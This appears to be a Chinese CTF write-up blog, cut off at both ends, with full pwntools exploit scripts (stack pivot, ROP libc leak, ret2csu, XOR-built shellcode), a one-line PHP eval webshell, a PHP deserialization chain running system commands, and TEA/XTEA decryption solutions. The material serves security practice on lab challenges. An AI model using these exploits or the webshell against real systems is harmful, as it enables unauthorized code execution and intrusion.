get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

shell_addr=0x80482ea
system_addr=elf.sym['system']
io.recv()
sl("administrator")

io.recv()
sl("1")

payload=cyclic(0x48+4)+p32(system_addr)+cyclic(4)+p32(shell_addr)

io.recv()
sl(payload)

io.recv()
sl("4")

io.interactive()

ciscn_2019_es_2——栈迁移基础

主要的函数，只能读到return，无法实现覆盖，有一个hack函数只能echo flag，所以要栈迁移，关于栈迁移，可以看一下两个链接

栈迁移总结
栈迁移带动图简单来说我们一般将栈迁移到原来的栈或bss段比如vmmap查看bss段最重要的就是理解leave ret; leave=mov esp,ebp; pop ebp; //ebp要到哪就看其中内容 ret=pop eip; //执行一次栈顶内容，栈顶向下+1 这样就实现了ebp，esp的转移去保存新的栈顶，而当我们布置完rop链后再次跳转到栈顶就可以执行了回到这道题这道题的程序执行到leave的时候esp没变化，如果我们返回地址为leave ret; 那么就可以再转移到栈顶，由于mov esp,ebp后，pop ebp pop eip会指向esp下一条内容,esp位置填垃圾数据，然后填充system地址，最后填充所需数据，由于pop ebp过，所以我们要找到pre-ebp

vul函数中esp和ebp相距0x38，可以泄露出pre-ebp 先将ebp上方填满，然后printf，因为没有\x00，所以跟在后面的ebp也会被输出

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


from pwn import *
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

io=process("./1")
#io=remote("node5.buuoj.cn",26000)
elf=ELF("./1")
gdb.attach(io)
se      = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
ia      = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

payload=cyclic(0x24)+b'AAAA'
sa("name?",payload)
ru('AAAA')
ebp=u32(rc(4))
log.success("ebp:"+hex(ebp))

leave_ret=0x08048562
payload=b'a'*4+p32(elf.sym['system'])+p32(0)+p32(ebp-0x28)+b'/bin/sh\x00'
payload=payload.ljust(0x28,b'\x00')
payload+=p32(ebp-0x38)+p32(leave_ret)
se(payload)
io.interactive()

[HarekazeCTF2019]baby_rop2——printf结构了解，泄露libc

保护只开了NX

printf可以泄露libc printf结构 int printf( const char* format , [argument] … ); 因此需要传两个参数，其中要有格式化字符串，用两个gadgets传参

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./babyrop2")
elf=ELF("./babyrop2")
libc=ELF("./libc-2.23.so")
io=remote("node5.buuoj.cn",25899)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

pop_rdi=0x400733
pop_rsi=0x400731 #pop_rsi_r15要传两个参
ret=0x4004d1
s_addr=0x400770

payload=cyclic(0x28)+p64(pop_rdi)+p64(s_addr)+p64(pop_rsi)+p64(elf.got['read'])+p64(0)+p64(elf.plt['printf'])+p64(elf.sym['main']) #pop_rsi后还有个pop_r15需要设置参数
sla("name? ",payload)
read_addr=get_64()
log.success("read_addr:"+hex(read_addr))
libc_addr=read_addr-libc.sym['read']
system_addr=libc_addr+libc.sym['system']
binsh_addr=libc_addr+libc.search(b'/bin/sh\x00').__next__()

payload=cyclic(0x28)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
ru("name? ")
sl(payload)
io.interactive()

ciscn_2019_s_3——无libc，极少gadgets可利用，ret2csu/srop

能利用的gadgets很少，这里可以考虑用ret2csu

ret2csu

64位程序中，函数前六个参数由寄存器传递，gadgets不够的情况下使用ret2csu,x64 下的 __libc_csu_init 中的 gadgets,ret2csu用于堆libc进行初始化操作，一般来说大多数程序都会调用libc函数，所以这个函数必然存在, 最后pop出一系列寄存器，我们可以以此控制数据

看到这里有mov rax,0Fh 0xF是系统调用号Sigreturn

注意到下面0x38是execve，可以用来利用，我们往栈上写入’/bin/sh’，然后将地址pop给rdi，将rsi，rdx置0，这样就可以execve("/bin/sh\x00",0,0)了

解题

gdb动调，先输入aaaaaaaa, 观察到存储在rsi寄存器中，查看一下内存

从0x30(字符串地址)开始输出到0x60，而字符偏移量为0x60-0x40=0x20，所以会打印出0x20的栈上内容当然从vuln中buf距离rbp只有0x10却能打印0x30内容也能看出

如箭头，由于vul函数最后没有执行leave，所以rbp和rsp会指向一个位置，而原来的栈地址就在778这个地方，所以stack与buf的偏移就是778-660=118，想写入字符串地址，就要将stack-0x118，这样直接获得我们输入的/bin/sh 接下来找gadgets

pop_rdi,pop_rsi_r15都有了，到csu中找利用rdx的地方

通过修改r13可以修改rdx，修改r13靠下面的pop，置0

这里还要注意r12不能乱修改，修改完rbx后这里call就会跳转到r12+0了，下面也要注意cmp中rbx和rbp的比较，如果相同的话标志位为1下面就jnz跳转循环了 exp思路

1
2
3
4
5


rax->59 #execve
rdi->binsh
rdx->0
rsi->0
syscall #execve("/bin/sh\x00",0,0)

第二次进行攻击将构造好的值一口气在pop的时候传给寄存器，第二次的payload应该如下

但是实际写起来的时候我要写吐了，一堆问题要注意坑点

patchelf，远程环境ubuntu18泄露后地址偏移值是0x118，本地版本高却是0x148,
指令中没有leave，覆盖完数据就到ret了
实际r12传入的是binsh_addr+0x50（每个格子0x8，栈中覆盖后计算后刚好到r13_rdx后），此时call后跳转到rdi处
实际尝试过之后跳转后rsi r15设不设置不影响，当然最好设0这样省事

exp_ret2csu

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./1")

io=remote("node5.buuoj.cn",29139)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

rax_to_3b=0x4004E2
rdi_ret=0x4005a3
rsi_r15_ret=0x4005a1
rbx_rbp_r12_r13_14_15=0x40059A
r13_to_rdx=0x400580
syscall=0x400501

vuln_addr=0x04004ED
payload=cyclic(0x10)+p64(vuln_addr)
sl(payload)

io.recv(0x20)
stack = get_64()
log.info("stack:"+hex(stack))

binsh=stack-0x118 #栈地址-字符串在栈中的地址 = offset，反过来就得到字符串地址
log.info("binsh:"+hex(binsh))

payload=b'/bin/sh\x00'+cyclic(0x8)
payload+=p64(rbx_rbp_r12_r13_14_15)+p64(0)+p64(1)
payload+=p64(binsh+0x50)+p64(0)*3
payload+=p64(r13_to_rdx)
payload+=p64(rdi_ret)+p64(binsh) #CALL r12后刚好跳转到这里
# payload+=p64(rsi_r15_ret)+p64(0)+p64(0)
payload+=p64(rax_to_3b)
payload+=p64(syscall)

sl(payload)
io.interactive()

SROP解法

前面说到有mov rax, 0Fh 也就是0xf——sigreturn的调用号给出了，我们可以直接拿来利用 SROP的原理简单来说就是利用了进程机制

SROP原理

进程之间可以通过软中断信号进行中断

内核向某个进程发送signal信号，那么该进程就会被暂时挂起进入内核态
内核将该进程对应的上下文保存，寄存器压栈，signal信息压入，并且会指向sigreturn系统调用地址这里可以简单理解为

保存为环境后去执行信号处理，但是由于处理完恢复栈相关环境时没有校验栈是否合法，我们能控制这个栈就可以恢复上下文环境时控制寄存器执行rop链

那么使用SROP需要的前提便是

首先程序必须存在溢出，能够控制返回地址。
可以去系统调用sigreturn（如果找不到合适的系统调用号，可以看看能不能利用read函数来控制RAX的值）
必须能够知道/bin/sh的地址，如果写的bss段，直接写地址就行，如果写到栈里，还需要想办法去泄露栈地址。
允许溢出的长度足够长，这样可以去布局我们想要的寄存器的值
需要知道syscall指令的地址

exp

newstar Bad_Asm

ps：什么玩意手搓shellcode，好痛苦

除canary外保护全开

题目限制syscall sysenter（从if中的两个判断得知，\x0f\x05-syscall \x0f\x34-sysenter
read读入shellcode，\x00后shellcode不会读入查找得知要用异或构造syscall 实在是不会手搓，看了官方wp和大佬博客常用的有xor [rsi+rbx],xx xor [rip],xx，前面可以做到构造做单位的可见字符异或，后面这个可以在地址未知情况下直接异或后边两字节 exec()中将rsp,rbp都清空了在任意可读写段恢复rsp，才能正常push pop 先用异或把syscall的机器码插入到shellcode后面执行read的syscall read可以在旧的shellcode末尾插入shellcodeexecve("/bin/sh", 0, 0)

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

io=process("./pwn")
#io=remote("192.168.3.104",61765)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

shellcode='''
mov rsp,rsi;
add rsp,0x60; //任意合法值均可
push rdi;pop rsi;
xor rdi,rdi;
push 0x70; pop rdx;
push 0x17; pop rbx;
xor byte ptr[rsi+rbx],0x40
'''
shellcode=asm(shellcode)+b'\x0f\x45'
sla(b"Input your Code : \n",shellcode)
#pause()
sleep(0.5)
se(b'\x90'*0x20+asm(shellcraft.sh()))

io.interactive()

官方的比较好理解的一个shellcode构造:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


...
shellcode='''
; // 目标: 执行 execve("/bin/sh", 0, 0) 的 syscall
mov rsp, rdi
add sp, 0x0848 ; // 给 rsp 一个合法值，使程序能正常执行 push/pop
mov rsi, 0x4028636f2e49226f
mov rdx, 0x4040104040204040
xor rsi, rdx
push rsi ; // 异或搓出来 '/bin/sh\x00' 并 push 到栈上面。此时 rsp 指向的即此字符串的开始位置,rsi进栈对应栈顶

mov rdi, rsp ; // 设置 rdi，指向之前push到栈上面的 '/bin/sh\x00'
xor rsi, rsi
xor rdx, rdx ; // 设置 rsi, rdx
xor rax, rax
mov al, 59 ; //设置 execve 的系统调用号

mov cx, 0xf5ff
xor cx, 0xf0f0 ; // 异或拿到 syscall 的机器码
push rcx ; // push 到栈顶，rsp 此时指向的是 syscall 指令
jmp rsp //跳转rsp，执行
'''
io.sendafter("Input your Code :", asm(shellcode))
io.interactive()

思路是把栈放在可执行段上面了，我们可以直接异或整出来 syscall 的机器码然后 push 到栈上面，最后 jmp rsp 即可。由于这种方法我们并不依赖 nop 指令进行连接，在送 Payload 的时候可以去掉 ljust 了。

newstar Inverted_World

把 Stack 旋转 180°，不就没有 Stack0verf1ow 的烦恼了嘛♡~

😅幽默保护没开PIE，开了canary

看，read有很大溢出空间对不对，但是这个read是自定义的_read()，是向read相反方向进行输入的

rsp是负的而，真是反着长的那填满还能溢出到返回地址吗？反向填满再反向填返回地址反向输入sh试试，system(“sh”)来get shell

注意要跳过backdoor中if判断，不然绝对过不了检测，直接返回到中间部分去执行system(“sh”)

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

io=process("./pwn")
#io=remote("172.22.192.1",51780)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

addr=p64(0x40137C)[::-1]
#print(addr)
payload=cyclic(0x100)+addr
sl(payload)
ru("root@AkyOI-VM:~#")
sl("hs")
io.interactive()

就，挺奇妙的

newstar Ez_fmt

保护

三次for函数 printf(buf)明显格式化字符串

偏移为8 三次格式化字符串可以

泄露libc
改printf got表地址到system
printf(sh)——system(sh) ez

canary偏移位置为0x38/8=7 字符串偏移位置为8 8+7=15

Moectf2024-Web/RE-Wp

Fri, 17 Jan 2025 20:48:00 +0000

web

入门指北

phpstudy中打开WNMP服务后，将下载得到的html和php文件覆盖掉WWW文件夹下，运行网站即可

moectf{H3r3'5_@_flYinG_kIss_f0r_yoU!}

ez_http

打开容器后，容器指引我们一步步执行获取flag

但是这些参数具体是什么意思呢？分析一下

要求使用post请求——空发送一个post请求
post请求体为imoau=sb——在body中修改
parameter(参数)要求为xt=大帅b——在链接后修改?xt=大帅b
source要求为https://www.xidian.edu.cn/——请求头加入Referer，内容为https://www.xidian.edu.cn/
cookie设置user=admin——请求头中加入cookie，内容为user=admin
use MoeDedicatedBrowser——请求头中加入User-Agent，内容为MoeDedicatedBrowser
仅允许本地访问——在请求头中加入X-Forwarded-For，内容为127.0.0.1
moectf{YoU-4RE-rEa1lY_r3AIlY-v3rY-cLEv3R!l!3a4b}

垫刀之路01: MoeCTF？启动！

cat /flag显示没有

env一下直接出来了，echo $FLAG也行

moectf{WelComE_t0_mOecTf_aNd_RoaDl-StarTuP-BY-sxrhhHa2}

垫刀之路02: 普通的文件上传

一眼一句话木马上传上传文件2.php

1
2
3


<?php
eval($_POST["pass"])
?>

访问/uploads/2.php后post上传pass=print(system(“env”));

moectf{Up1O@D_YOur-P@YLO@D_aNd-D0-WH4t_yOUr-wAnt73b}

pop moe

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65


<?php

class class000 {
 private $payl0ad = 0;
 protected $what;

 public function __destruct()
 {
 $this->check();
 }

 public function check()
 {
 if($this->payl0ad === 0)
 {
 die('FAILED TO ATTACK');
 }
 $a = $this->what;
 $a();
 }
}

class class001 {
 public $payl0ad;
 public $a;
 public function __invoke()
 {
 $this->a->payload = $this->payl0ad;
 }
}

class class002 {
 private $sec;
 public function __set($a, $b)
 {
 $this->$b($this->sec);
 }

 public function dangerous($whaattt)
 {
 $whaattt->evvval($this->sec);
 }

}

class class003 {
 public $mystr;
 public function evvval($str)
 {
 eval($str);
 }

 public function __tostring()
 {
 return $this->mystr;
 }
}

if(isset($_GET['data']))
{
 $a = unserialize($_GET['data']);
}
else {
 highlight_file(__FILE__);
}

创建了四个实例，要构建反序列化利用链获取flag，但是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


<?php

class class000 {

    private $payl0ad = 1;

    protected $what="phpinfo";

}

echo urlencode(serialize(new class000()));

利用这个查看php信息，我们可以直接找到flag信息

拿AI跑了一个反序列脚本，不过cat /flag没结果，看了一下env，果然在里面

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


<?php

class class000 {
 private $payl0ad;
 protected $what;
 public function __construct($what) {
 $this->payl0ad = 1;
 $this->what = $what;
 }
}

class class001 {
 public $a;
 public $payl0ad;
 public function __construct($a, $payl0ad) {
 $this->a = $a;
 $this->payl0ad = $payl0ad;
 }
}

class class002 {
 private $sec;
 public function __construct($sec) {
 $this->sec = $sec;
 }
}

class class003 {
 public $mystr;
 public function __construct($mystr) {
 $this->mystr = $mystr;
 }
}

// 构造恶意代码：例如读取env
$c3 = new class003('system("env");'); // 根据实际情况调整命令

// class002实例，其sec属性为class003实例
$c2 = new class002($c3);

// class001实例，a属性指向class002，payl0ad为'dangerous'
$c1 = new class001($c2, 'dangerous');

// class000实例，what属性指向class001
$c0 = new class000($c1);

// 生成序列化字符串
$payload = serialize($c0);
echo urlencode($payload);
?>

moectf{It-5E3mS-Th@t_YoU-kN0W_whaT-i5_p0p-in-pHPpPppPPll!1}|

RE

d0tN3t

dnspy中找到main入口，查看主代码

编写exp逆向得到flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21



# 提供的字节数组 (array)

array = [

    173, 146, 161, 174, 132, 179, 187, 234, 231, 244, 177, 161,

    65, 13, 18, 12, 166, 247, 229, 207, 125, 109, 67, 180, 230,

    156, 125, 127, 182, 236, 105, 21, 215, 148, 92, 18, 199, 137,

    124, 38, 228, 55, 62, 164

]


for i in range(len(array)):
    for j in range(32,127): # 遍历ASCII码
       if((j+114^114)^((i*i)&0xff))==array[i]:

            print(chr(j),end='')

注意可见ASCII码在32-127之间

i*i&0xff是为了限制范围在0-255之间，不然超出比较范围

Upx_revenge

魔改头，改vmp0为UPX0就可以了

moectf{554ea35c-a1bb-4d8f-a323-bd697564bf27}

tea

tea加密，逆向写解密 key:[1702060386,1870148662,1634038898,1634038904] 加密后: 676078132和957400408

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


#include<bits/stdc++.h>
using namespace std;
void decrypted(uint32_t* v,uint32_t* k){
 uint32_t v0=v[0],v1=v[1],sum=0xC6EF3720,i;
 uint32_t delta=0x9E3779B9;
 uint32_t k0=k[0],k1=k[1],k2=k[2],k3=k[3];
 for(i=0;i<32;i++){
 v1-=( (v0<<4) + k2) ^(v0+sum) ^ ((v0>>5)+k3);
 v0-=( (v1<<4) + k0) ^(v1+sum) ^ ((v1>>5)+k1);
 sum-=delta;
 }
 v[0]=v0;v[1]=v1;
}
int main(){
 uint32_t v[2]={676078132,957400408};
 uint32_t k[4]={1702060386,1870148662,1634038898,1634038904};
 decrypted(v,k);
 printf("moectf{%x-%x-9c42-caf30620caaf}\n",v[0],v[1]);
 return 0;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


from ctypes import *


def decrypt(v, k):
 v0 = c_uint32(v[0])
 v1 = c_uint32(v[1])
 delta = 0x9e3779b9
 sum1 = c_uint32(delta * 32)
 for i in range(32):
 v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + sum1.value) ^ ((v0.value >> 5) + k[3])
 v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + sum1.value) ^ ((v1.value >> 5) + k[1])
 sum1.value -= delta
 return v0.value, v1.value


if __name__ == '__main__':
 enc = [676078132,957400408]
 key = [1702060386, 1870148662, 1634038898, 1634038904]
 dec = decrypt(enc, key)
 print("xxxxxxxx-yyyyzzzz:%x %x"%(dec[0],dec[1]))

moectf{836153a5-8e00-49bd-9c42-caf30620caaf}

xtea

输入后进行了memcpy后再进行了sub_14001119f加密，最后再与答案对比进行答案判定

进入后查看加密算法，发现a3应该对应的是_DWORD，并且根据函数参数进行怕那段，重命名后再次查看

就是xtea算法，delta被魔改根据 sub_14001119F()改解密函数倒过来解密，byte_140022000处就是加密后flag， key——v14，round——v12，长度12 加密逻辑为前八位xtea，后八位xtea，因此中间四位计算两次

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


#include<stdio.h>
#include<string.h>
#include<stdint.h>
using namespace std;
unsigned char byte_140022000[] = {
 0xA3, 0x69, 0x96, 0x26, 0xBD, 0x78, 0x0B, 0x3D, 0x9D, 0xA5, 0x28, 0x62};
void decrypt(unsigned int rounds,uint32_t *v,uint32_t const k[4]){
 unsigned int i;
 uint32_t v0=v[0],v1=v[1],delta=855655493,sum=(-delta)*rounds;
 for(i=0;i<rounds;i++){
 v1-=(((v0*16)^(v0>>5))+v0) ^ (sum+k[(sum>>11) & 3] );
 sum+=delta;
 v0-=(((v1*16)^(v1>>5))+v1) ^ (sum+k[sum & 3]);
 }
 v[0]=v0;v[1]=v1;
}
int main(){
 uint32_t const k[4]={2,0,2,4};
 unsigned int rounds=32;
 decrypt(rounds,(uint32_t*)(byte_140022000+4),k);
 decrypt(rounds,(uint32_t*)(byte_140022000),k);
 printf("%s",(byte_140022000));
 return 0;
}

xxtea

v9是加密后flag 密文为v11数组，v15[3]=0xCCFFBBBB, 前12个字节为moectf2024!! ，抄加密代码就可以了 moectf{j9h8hg75nky6vhkslh5v5awibr4i}

secretmodule

customesize.sh解码得到

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46


testk() {
 echo "Welcome to the Secret module!But before you begin,you need to prove your self."
 (/system/bin/getevent -lc 1 2>&1 | /system/bin/grep VOLUME | /system/bin/grep " DOWN" > $MODPATH/events) || return 1
 return 0
}

choose() {
 while true; do
 /system/bin/getevent -lc 1 2>&1 | /system/bin/grep VOLUME | /system/bin/grep " DOWN" > $MODPATH/events
 if (`cat $MODPATH/events 2>/dev/null | /system/bin/grep VOLUME >/dev/null`); then
 break
 fi
 done
 if (`cat $MODPATH/events 2>/dev/null | /system/bin/grep VOLUMEUP >/dev/null`); then
 echo "114514"
 else
 echo "1919810"
 fi
}

if testk; then
 ui_print "Great! Now enter the secret."

else
 ui_print "Legacy Device. Use a newer device to do this challenge"
 exit
fi

concatenated=""

for i in 1 2 3 4 5 6 7
do
 result=$(choose)
 concatenated="${concatenated}${result}"
done

input_str=$(echo -n $concatenated | md5sum | awk '{print $1}')
sec="77a58d62b2c0870132bfe8e8ea3ad7f1"
if test $input_str = $sec
then
 echo 'You are right!Flag is'
 echo "moectf{$concatenated}"
else
 echo 'Wrong. Try again.'
 exit
fi

代码审计得到密码为七组密码组成，由114514 1919810相关的密码组成，

moedaily

excel文件，验证函数

=IF(LEN(D11)=48,IF(AND(AND(AND(AND(AND(AND(H14=1397140385,I14=2386659843),AND(H15=962571399,I15=3942687964)),AND(H16=3691974192,I16=863943258)),AND(H17=216887638,I17=3212824238)),AND(H18=3802077983,I18=1839161422)),AND(H19=1288683919,I19=3222915626)),"恭喜你，拿到了真的FLAG","FLAG输入错了，再试试"),"flag长度不对")

解释为验证H14-I19所有值是否与密文相等，随便看一个，比如H14中表达式为=s3cr3t!E54，即s3cr3t表中的E54，而s3cr3t表中的计算都非常复杂

在表中定位到E54 =BITAND(E53+BITXOR(BITLSHIFT(F53,4)+C38,BITXOR(F53+D54,BITRSHIFT(F53,5)+D38)),4294967295) 也就是E54=(E53+((F53«4)+C38)^((F53+D54)^((F53«5)+D38)))&0xFFFFFFFF 结构很类似于TEA加密 E54与E53(上) F53(右上)C38(固定值114514)D54(114514*32)和D38(1919810)有关同样查看其他F54的值，确定D54为sum=114514+D53，key[]={C38,D38,E38,F38}，delta=114514 而delta来自A39,到这里刚好回退了32轮，看到A38和B38，因此F54由A38 B38经过而一个来自E18一个来自F18，发现又是两个数字由上一轮加密的A2和B2得到，而A2和B2最终来自表格中的F14和G14，也就是最左上角的数字

直观上理解便是左边计算加密时实用114514和1919810，右边实用415144和19883

xlsx语法

BITAND 函数返回两个数的按位进行“与”（AND）运算后的结果。
BITXOR 函数返回两个数的按位进行“异或”（XOR）运算后的结果。
BITLSHIFT 函数返回一个数向左移动指定位数后的数值。
BITRSHIFT 函数返回一个数向右移动指定位数后的数值。
CODE 函数用于返回文本字符串中第一个字符的 ASCII 代码
MID 函数返回文本字符串中从指定位置开始的特定数目的字符串。 =MID(文本, 开始位置, 字符个数)
IF 函数根据提供的条件参数，条件计算结果为 TRUE 时，返回一个值；条件计算结果为 FALSE 时，返回另一个值。 =IF(条件, [条件为 TRUE 时的返回值], [条件为 FALSE 时的返回值]) AND 函数返回逻辑值：如果所有参数值均为“真（TRUE）”，返回“真（TRUE）”，反之返回“假（FALSE）”。 =AND(测试条件1, [测试条件2], ...)

那么方法就变的明晰起来了，

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


enc = [[1397140385, 2386659843], [962571399, 3942687964], [3691974192, 863943258], [216887638, 3212824238], [3802077983, 1839161422], [1288683919, 3222915626]]
delta = 114514
keys = [[114514,1919810],[415144,19883]]
flag = b''
for item in enc:
 a0,a1=item
 for i in range(2):
 for j in range(64,0,-1):
 key = keys[(j+1)%2]
 a0, a1 = (a1 - (((a0 << 4) + key[0]) ^ (a0 + delta * ((j + 1) // 2)) ^ ((a0 >> 5) + key[1]))) % (1 << 32), a0
 flag+=a0.to_bytes(4,'little')+a1.to_bytes(4,'little')
print(flag)

moeprotector

虽然但是，moeprotector是moectf自主研发的一款软件保护工具，帮助我们解决调试者，中间忘了，后面忘了。考点（免费Hint）

Windows下的异常处理（SEH）
Windows下的调试器对抗（Anti-Debugger）温馨提示：如果你只会看IDA来静态分析，那么本题可能对你来说比较Hard！

脱去upx壳

try-except部分，但没有被反编译，直接看汇编，是输入flag和比较flag的地方比较部分将长度与39h比较，不是的话就打印错误提示字符串之后会直接跳到loc_4017Fd，而又会跳到loc_401830

这个部分做了什么呢？将30h字节的偏移移到fs寄存器，fs/gs(分别对应32位和64位)寄存器指向当前活动线程的TEB结构（线程环境块），30h指向的是PEB结构地址（进程结构） 跑起来后由于左边线程会一直做除法，所以如果我们一开始输入了除数0

程序往右边走，提前在右边打好断点后往下走，f8运行下去

这里需要输入了，按上面意思输入57个字符，输入57个a

触发反调试使用scyllahide解反调试

第二段汇编看不懂，上面这一段实际上做了 byte_40543C[0x38]=byte_40543C[0x38]^(0x38_0x15)+0x14 所以下面这段大概就是循环byte_40543C[i]=byte_40543C[i]^(i-0x15)+0x14 下边两段也做了，不过0x15改为了0x1A和0x19

最后byte_40453C的39h处与byte_403658进行对比判断内容是否相等，写三段解密

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


#include<stdio.h>
unsigned char byte_403658[56] = {
 0xC7, 0xC4, 0xC9, 0xCE, 0xC2, 0xD1, 0x8B, 0x66, 0x6B, 0x8D, 0xB0, 0x45, 0xF9, 0x84, 0xFF, 0xB2,
 0x51, 0xAB, 0xB3, 0x4C, 0x33, 0xA8, 0x61, 0x0E, 0xC5, 0x3B, 0x5B, 0xF9, 0x11, 0x82, 0x8B, 0x8E,
 0x7A, 0x23, 0x68, 0x7A, 0x21, 0x1F, 0x87, 0x91, 0x46, 0x8D, 0x90, 0xA4, 0xA5, 0xE0, 0x35, 0xD9,
 0x41, 0x4E, 0x44, 0xF1, 0x37, 0xAF, 0x26, 0x3A
};
unsigned char encrypt[] = {0x19,0x1A,0x15};
int main(){
 int i,j;
 for(i=0;i<3;i++){
 for(j=0;j<57;j++){
 byte_403658[j]=(byte_403658[j]-0x14)^(j+encrypt[i]);
 }
 }
 printf("%s",byte_403658);
 return 0;
}

moectf{w1Nd0Ws_S3H_15_A_g0oD_m37h0d_70_h4nd13_EXCEPTI0NS}

Just-Run-It

第一个exe文件直接运行 6257396c5933526d657a55355a6d45 第二个elf文件脱壳后wsl运行 324d444a6a4c5459794e4745744e44 第三个apk文件安卓虚拟机（14）运行 42694e7930345954566a4c57557a4e 第四个riscv64.elf文件在wsl中运行qemu虚拟机运行

exp

1
2


a = [87, 85, 49, 78, 122, 82, 106, 90, 106, 108, 105, 79, 88, 48, 61]
print("".join(map(chr,a)))

WU1NzRjZjliOX0= 前三个组合后解密base64，加上第四个解出的再base64解密一次 moectf{59fa602c-624a-40b7-8a5c-e35e574cf9b9}

xor(大嘘)

IDA，加密和比较

加密函数，看起来是简单的异或加密dword_404078，convert出来写解密

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


#include<stdio.h>
#include<stdint.h>
#include<string.h>
unsigned char byte_404058[32] = {
